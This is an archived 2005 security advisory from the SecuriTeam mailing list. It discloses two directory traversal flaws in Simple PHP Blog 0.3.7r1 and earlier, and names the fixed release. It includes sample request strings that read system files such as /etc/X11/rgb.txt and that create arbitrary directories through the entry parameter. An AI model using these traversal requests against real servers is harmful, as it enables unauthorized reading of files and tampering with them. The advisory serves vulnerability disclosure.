[UNIX] Simple PHP Blog Directory Traversal

From: SecuriTeam (support_at_securiteam.com)
Date: 01/10/05

  • Next message: SecuriTeam: "[UNIX] htget Remotely Exploitable Buffer Overflow (ReadLine)"
    To: list@securiteam.com
    Date: 10 Jan 2005 14:06:05 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Simple PHP Blog Directory Traversal
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.bigevilbrain.com/sphpblog/> Simple PHP Blog requires "no
    database to create a blog system but instead only requires PHP 4 (or
    greater) and write permission on the server".

    Two vulnerabilities in Simple PHP Blog are caused by inadequate testing
    for directory traversal attacks allow a remote attacker to view arbitrary
    files and create arbitrary directories.

    DETAILS

    Vulnerable Systems:
     * Simple PHP Blog version 0.3.7r1 and prior

    Immune Systems:
     * Simple PHP Blog version 0.3.7r2 or newer

    We can read any file with TXT extension (in this example /etc/X11/rgb.txt)
    Request:
    http://[SERVER]/sphpblog/comments.php?y=05&m=01&entry=../../../../../../../etc/X11/rgb
    Returns the content of the file

    We can create arbitrary folders in the file system and the content of the
    post will be saved in this folder.

    To create folder http://[SERVER]/sphpblog/createdir/

    Request (this must be a POST request and we must modify entry parameter):
    http://[SERVER]/sphpblog/comment_add_cgi.php
    ~ entry=../../../createdir

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:madelman@iname.com>
    Madelman.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] htget Remotely Exploitable Buffer Overflow (ReadLine)"

    Relevant Pages

    • [EXPL] Opera Skinned and Opera Directory Traversal (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... While installing Opera, if the "USE SEPARATE SETTINGS FOR EACH USER" ... the "opera7/profile" folder is stored in the ... This demonstrates the first vulnerability. ...
      (Securiteam)
    • [NT] McAfee Network Associates ePolicy Orchestrator Agent Privilege Escalation
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The ePolicy Orchestrator Agent web server (which runs on TCP port 8081 by ... (which is created by the EPO agent and is the folder that serves as the ... By using the Junction tool available at ...
      (Securiteam)
    • [EXPL] PHP-Nuke cid SQL Injection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PHP-Nuke contains an exploitable SQL injection vulnerability that can be ... print $socket "User-Agent: Internet Explorer 6.0\n"; ...
      (Securiteam)
    • [NT] DivX Player Skin Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Due to improper filtering by the DivX Player skin installer, ... the skin in the temporary system directory into a folder folder named with ...
      (Securiteam)
    • [TOOL] Fast SYN Scanner (libnet, libpcap)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... struct bpf_program cfilter; ... const unsigned char *packet; ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)